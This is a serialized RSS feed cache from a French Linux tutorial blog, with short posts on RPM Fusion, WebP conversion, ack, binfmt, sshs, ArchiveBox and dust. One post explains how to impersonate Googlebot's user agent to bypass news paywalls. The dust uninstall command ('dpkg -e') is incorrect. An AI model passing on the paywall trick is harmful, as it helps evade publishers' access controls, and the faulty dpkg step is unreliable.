        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:44:"Comment installer RPM Fusion sur Fedora 36 ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:53:"https://azlinux.fr/installer-rpm-usion-sur-fedora-36/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 04 Jun 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:53:"https://azlinux.fr/installer-rpm-usion-sur-fedora-36/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1227:"<img src="https://azlinux.fr/uploads/37e8c5dec0ed2e573a0dbe6525aee24e.webp" alt="Featured image of post Comment installer RPM Fusion sur Fedora 36 ?" /><p>Si vous ne trouvez pas un logiciel lors de votre recherche, il est sûrement disponible dans le dépôt de logiciels RPM Fusion qui fournit des paquets supplémentaires.</p>
<p>Voici la commande pour ajouter le dépôt RPM Fusion Free :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-<span class="k">$(</span>rpm -E %fedora<span class="k">)</span>.noarch.rpm
</span></span></code></pre></div><p>Et aussi cette commande pour ajouter le dépôt RPM Fusion Non-Free si vous voulez des logiciels non libres :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dnf install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-<span class="k">$(</span>rpm -E %fedora<span class="k">)</span>.noarch.rpm
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:59;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:53:"Comment convertir des images PNG en WebP sous Linux ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:52:"https://azlinux.fr/convertir-des-images-png-en-webp/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 16 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:52:"https://azlinux.fr/convertir-des-images-png-en-webp/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2974:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Comment convertir des images PNG en WebP sous Linux ?" /><h2 id="présentation">Présentation</h2>
<p>WebP est un format de fichier image développé par Google et destiné à remplacer les formats JPEG, PNG et GIF. Il est devenu la norme sur les sites web grâce à sa taille réduite pour une même qualité. Il prend en charge la compression avec et sans perte, ainsi que l&rsquo;animation et la transparence alpha.</p>
<h2 id="utilisation">Utilisation</h2>
<h3 id="convertir-des-images-png-en-webp">Convertir des images PNG en WebP</h3>
<ol>
<li>Images PNG en WebP :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cwebp 97d8f55d9d32c661ac3e0636e281fa22.png -o 97d8f55d9d32c661ac3e0636e281fa22.webp
</span></span></code></pre></div><ol start="2">
<li>Images PNG en WebP en sélectionnant la qualité :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cwebp -q <span class="m">85</span> 97d8f55d9d32c661ac3e0636e281fa22.png -o 97d8f55d9d32c661ac3e0636e281fa22.webp
</span></span></code></pre></div><ol start="3">
<li>Convertir toutes les images PNG en WebP qui se trouvent dans le répertoire :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">for</span> i in *.png <span class="p">;</span> <span class="k">do</span> cwebp -q <span class="m">85</span> <span class="nv">$i</span> -o <span class="nv">$i</span>.webp <span class="p">;</span> <span class="k">done</span>
</span></span></code></pre></div><h3 id="convertir-des-images-webp-en-png">Convertir des images WebP en PNG</h3>
<ol>
<li>Images WebP en PNG :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dwebp 97d8f55d9d32c661ac3e0636e281fa22.webp -o 97d8f55d9d32c661ac3e0636e281fa22.png
</span></span></code></pre></div><ol start="2">
<li>Convertir toutes les images WebP en PNG qui se trouvent dans le répertoire :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">for</span> i in *.webp <span class="p">;</span> <span class="k">do</span> dwebp <span class="nv">$i</span> -o <span class="nv">$i</span>.png <span class="p">;</span> <span class="k">done</span>
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ul>
<li>Debian : <code>sudo apt install webp</code></li>
<li>Fedora: <code>sudo dnf install libwebp-tools</code></li>
</ul>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:60;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:25:"ack un outil de recherche";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:45:"https://azlinux.fr/ack-un-outil-de-recherche/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 15 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:45:"https://azlinux.fr/ack-un-outil-de-recherche/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2232:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post ack un outil de recherche" /><p>ACK est un outil de recherche en ligne de commande pour les systèmes d&rsquo;exploitation Linux et Unix. Il permet aux utilisateurs de rechercher des fichiers et de compter les occurrences de termes dans ces fichiers. ACK est très utile lorsque vous travaillez avec de gros projets et que vous avez besoin de rapidement localiser des fichiers ou des occurrences de termes dans ces fichiers.</p>
<p>Pour utiliser ACK, vous devez d&rsquo;abord l&rsquo;installer sur votre système. Si vous utilisez Debian, vous pouvez l&rsquo;installer en utilisant la commande <code>sudo apt install ack</code>. Si vous utilisez Fedora, vous pouvez l&rsquo;installer en utilisant la commande <code>sudo yum install ack</code>.</p>
<p>Une fois ACK installé, vous pouvez l&rsquo;utiliser pour trouver les fichiers contenant le terme &ldquo;azLinux&rdquo; en utilisant la commande <code>ack azLinux</code>. Cette commande recherchera dans tous les fichiers du répertoire courant et de ses sous-répertoires, et affichera une liste des fichiers qui contiennent le terme &ldquo;azLinux&rdquo;.</p>
<p>Pour compter le nombre total d&rsquo;occurrences de &ldquo;azLinux&rdquo; dans tous les fichiers, vous pouvez utiliser la commande <code>ack -ch azLinux</code>. Cette commande affichera le nombre total d&rsquo;occurrences de &ldquo;azLinux&rdquo; dans les fichiers du répertoire courant et de ses sous-répertoires.</p>
<p>Pour compter le nombre total de fichiers dans le répertoire courant et de ses sous-répertoires, vous pouvez utiliser la commande <code>ack -f | wc -l</code>. Cette commande utilise ACK pour lister tous les fichiers du répertoire courant et de ses sous-répertoires, puis utilise la commande wc pour compter le nombre de fichiers.</p>
<p>En résumé, ACK est un outil pratique pour les utilisateurs de Linux et Unix qui souhaitent rapidement trouver des fichiers et compter les occurrences de termes dans ces fichiers. Si vous travaillez sur de gros projets et que vous avez besoin de rechercher des fichiers ou des occurrences de termes rapidement, ACK peut vous être très utile.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:61;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"User-Agent Switcher une extension pour bypasser les paywalls";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:80:"https://azlinux.fr/user-agent-switcher-une-extension-pour-bypasser-les-paywalls/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 14 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:80:"https://azlinux.fr/user-agent-switcher-une-extension-pour-bypasser-les-paywalls/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1142:"<img src="https://azlinux.fr/uploads/b2b393d0ad91c2066720799ac1b5a3cf.webp" alt="Featured image of post User-Agent Switcher une extension pour bypasser les paywalls" /><p>Si vous en avez assez de tous ces sites d&rsquo;information qui bloquent leur contenu, j&rsquo;ai une solution. Bien sûr, elle ne fonctionne pas partout, mais je l&rsquo;ai testée sur de nombreux sites et elle fonctionne. Tout d&rsquo;abord, vous devez installer l&rsquo;extension <a class="link" href="https://addons.mozilla.org/fr/firefox/addon/uaswitcher/"  target="_blank" rel="noopener"
    >User-Agent Switcher</a> qui vous permettra de vous faire passer pour le robot de Google. Vous allez me dire en quoi cela peut être utile, c&rsquo;est assez simple puisque tous ces sites d&rsquo;informations veulent être référencés dans le moteur de recherche de Google, donc si vous vous faites passer pour Google, vous avez accès à l&rsquo;intégralité de l&rsquo;article.</p>
<p>Voici une capture d&rsquo;écran de la configuration à appliquer :</p>
<p><img src="https://azlinux.fr/uploads/c348f5773081d4e20e982a269cae2e88.webp"
	
	
	
	loading="lazy"
	
	
></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:62;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:84:"Binfmt un émulateur pour rendre compatible une image Docker avec votre architecture";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:104:"https://azlinux.fr/binfmtb-un-emulateur-pour-rendre-compatible-une-image-docker-avec-votre-architecture/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 13 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:104:"https://azlinux.fr/binfmtb-un-emulateur-pour-rendre-compatible-une-image-docker-avec-votre-architecture/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2120:"<img src="https://azlinux.fr/uploads/39b64e233fa11b996319376188ba087a.webp" alt="Featured image of post Binfmt un émulateur pour rendre compatible une image Docker avec votre architecture" /><p>Binfmt est un émulateur multi-plateforme qui vous permet de rendre compatible une image Docker qui n&rsquo;est pas prise en charge par votre architecture. Cette image convertit les instructions d&rsquo;une architecture à une autre lors de l&rsquo;exécution d&rsquo;une commande ou d&rsquo;un programme. Ainsi, avec cet émulateur, vous pouvez exécuter et compiler des conteneurs pour n&rsquo;importe quelle architecture. Mais vous devez vous attendre à des performances moindres, notamment lors de l&rsquo;exécution d&rsquo;applications gourmandes en ressources CPU.</p>
<h2 id="installer-les-émulateurs">Installer les émulateurs</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run --privileged --rm tonistiigi/binfmt --install all
</span></span></code></pre></div><h2 id="exemple-dutilisation">Exemple d&rsquo;utilisation</h2>
<p>Exécuter une commande avec une architecture amd64 :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run --rm amd64/alpine uname -a
</span></span></code></pre></div><p>Exécuter une image Docker avec une architecture amd64 :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run -itd -p 8080:80 --platform linux/amd64 flyimg/flyimg-build
</span></span></code></pre></div><h2 id="désinstaller-les-émulateurs">Désinstaller les émulateurs</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run --privileged --rm tonistiigi/binfmt --uninstall qemu-aarch64
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:63;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:48:"sshs une interface en ligne de commande pour SSH";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:68:"https://azlinux.fr/sshs-une-interface-en-ligne-de-commande-pour-ssh/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 12 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:68:"https://azlinux.fr/sshs-une-interface-en-ligne-de-commande-pour-ssh/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3355:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post sshs une interface en ligne de commande pour SSH" /><p>sshs est une interface en ligne de commande pour SSH qui vous permet de lister tous vos serveurs à un même endroit et de vous y connecter facilement. Cet outil n&rsquo;est pas encore disponible sur toutes les distributions, mais je vous propose de l&rsquo;installer à partir des binaires pré-compilés <a class="link" href="https://github.com/quantumsheep/sshs/releases"  target="_blank" rel="noopener"
    >disponibles sur GitHub</a>.</p>
<p><img src="https://azlinux.fr/uploads/ce5fd3d500f4e995f607d556da54d5e7.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Si vous êtes intéressé, vous pouvez suivre les instructions ci-dessous pour installer sshs :</p>
<ol>
<li>Premièrement, téléchargez le fichier binaire :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget <span class="k">$(</span>curl -s https://api.github.com/repos/quantumsheep/sshs/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[4] | .browser_download_url&#39;</span><span class="k">)</span>
</span></span></code></pre></div><ol start="2">
<li>Maintenant, vous devez ajouter les permissions de lecture et le droit d&rsquo;exécution au binaire :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo chmod a+rx sshs-linux-amd64
</span></span></code></pre></div><ol start="3">
<li>Et enfin, si vous voulez accéder à l&rsquo;outil à partir de n&rsquo;importe quel dossier :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo cp sshs-linux-amd64 /usr/local/bin/sshs
</span></span></code></pre></div><h2 id="configuration">Configuration</h2>
<p>Si vous lancez l&rsquo;outil, il n&rsquo;y aura normalement pas de serveur déclaré, pour cela, il suffit de remplir dans le fichier <code>~/.ssh/config</code> les informations nécessaires comme ci-dessous :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Host &#34;DietPi&#34;
</span></span><span class="line"><span class="ln">2</span><span class="cl">  HostName 192.168.1.171
</span></span><span class="line"><span class="ln">3</span><span class="cl">  User root
</span></span><span class="line"><span class="ln">4</span><span class="cl">  Port 22
</span></span></code></pre></div><p>Notez qu&rsquo;il existe de nombreux paramètres disponibles pour le fichier de configuration du client SSH OpenSSH <a class="link" href="https://dashdash.io/5/ssh_config"  target="_blank" rel="noopener"
    >https://dashdash.io/5/ssh_config</a>.</p>
<p>J’espère que cela vous sera utile, vous pouvez bien sûr ajouter plusieurs serveurs, c’est le but, sinon si vous utilisez une clé privée pour vous connecter ou si vous voulez configurer l’outil autrement, vous pouvez consulter la page du projet sur GitHub.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:64;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:58:"ArchiveBox un système d&#039;archivage web auto-hébergé";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"https://azlinux.fr/archivebox-un-systeme-d-archivage-web-auto-heberge/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 07 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:70:"https://azlinux.fr/archivebox-un-systeme-d-archivage-web-auto-heberge/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2170:"<img src="https://azlinux.fr/uploads/43244256a9fe854de6cc9a4f05888546.webp" alt="Featured image of post ArchiveBox un système d'archivage web auto-hébergé" /><p>Vous cherchez une solution pour archiver et préserver vos sites Internet préférés hors ligne ? ArchiveBox est l&rsquo;outil qu&rsquo;il vous faut. C&rsquo;est une solution d&rsquo;archivage auto-hébergée qui vous permet de collecter, enregistrer et consulter les sites que vous souhaitez préserver pour une consultation ultérieure. Si vous cherchez une solution simple et efficace pour archiver et préserver vos sites Internet préférés, ArchiveBox pourrait être la solution idéale pour vous.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour utiliser ArchiveBox, il vous faut d&rsquo;abord l&rsquo;installer. Voici comment procéder :</p>
<ol>
<li>Téléchargez le fichier <code>docker-compose.yml</code> dans un nouveau dossier en utilisant les commandes suivantes :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">mkdir ~/archivebox <span class="o">&amp;&amp;</span> <span class="nb">cd</span> ~/archivebox
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget https://github.com/ArchiveBox/ArchiveBox/raw/dev/docker-compose.yml
</span></span></code></pre></div><ol start="2">
<li>Exécutez la commande suivante pour créer un utilisateur administrateur :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker-compose run archivebox init --setup
</span></span></code></pre></div><ol start="3">
<li>Démarrez le serveur puis connectez-vous à l&rsquo;interface Web :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker-compose up -d
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:65;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:45:"Dust une version plus intuitive de du en Rust";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"https://azlinux.fr/dust-une-version-plus-intuitive-de-du-en-rust/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 06 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:65:"https://azlinux.fr/dust-une-version-plus-intuitive-de-du-en-rust/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3618:"<img src="https://azlinux.fr/uploads/e871a401e60169a9060d38119f287545.webp" alt="Featured image of post Dust une version plus intuitive de du en Rust" /><h2 id="présentation">Présentation</h2>
<p><img src="https://azlinux.fr/uploads/efc4a8e169fd6922f26c92e04bc817d8.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln"> 1</span><span class="cl">dust
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">dust &lt;dir&gt;
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">dust &lt;dir&gt;  &lt;another_dir&gt; &lt;and_more&gt;
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">dust -p (full-path - Show fullpath of the subdirectories)
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">dust -s (apparent-size - shows the length of the file as opposed to the amount of disk space it uses)
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">dust -n 30 (shows 30 directories instead of the default [default is terminal height])
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">dust -d 3  (shows 3 levels of subdirectories)
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">dust -r  (reverse order of output)
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">dust -X ignore  (ignore all files and directories with the name &#39;ignore&#39;)
</span></span><span class="line"><span class="ln">10</span><span class="cl">dust -x (only show directories on the same filesystem)
</span></span><span class="line"><span class="ln">11</span><span class="cl">dust -b (do not show percentages or draw ASCII bars)
</span></span><span class="line"><span class="ln">12</span><span class="cl">dust -i (do not show hidden files)
</span></span><span class="line"><span class="ln">13</span><span class="cl">dust -c (No colors [monochrome])
</span></span><span class="line"><span class="ln">14</span><span class="cl">dust -f (Count files instead of diskspace)
</span></span><span class="line"><span class="ln">15</span><span class="cl">dust -t Group by filetype
</span></span><span class="line"><span class="ln">16</span><span class="cl">dust -e regex Only include files matching this regex (eg dust -e &#34;\.png$&#34; would match png files)
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ol>
<li>Téléchargez la dernière version depuis GitHub :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget <span class="k">$(</span>curl -s https://api.github.com/repos/bootandy/dust/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[0] | .browser_download_url&#39;</span><span class="k">)</span>
</span></span></code></pre></div><ol start="2">
<li>Installez-le :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dpkg -i du-dust_0.8.1.alpha.2_amd64.deb
</span></span></code></pre></div><h2 id="désinstaller">Désinstaller</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dpkg -e du-dust_0.8.1.alpha.2_amd64.deb
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:66;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:80:"GitUI le compromis entre une interface graphique directement dans votre terminal";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:100:"https://azlinux.fr/gitui-le-compromis-entre-une-interface-graphique-directement-dans-votre-terminal/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 04 May 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:100:"https://azlinux.fr/gitui-le-compromis-entre-une-interface-graphique-directement-dans-votre-terminal/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:739:"<img src="https://azlinux.fr/uploads/08592298aa44834d13ed5884f455df90.webp" alt="Featured image of post GitUI le compromis entre une interface graphique directement dans votre terminal" /><h2 id="présentation">Présentation</h2>
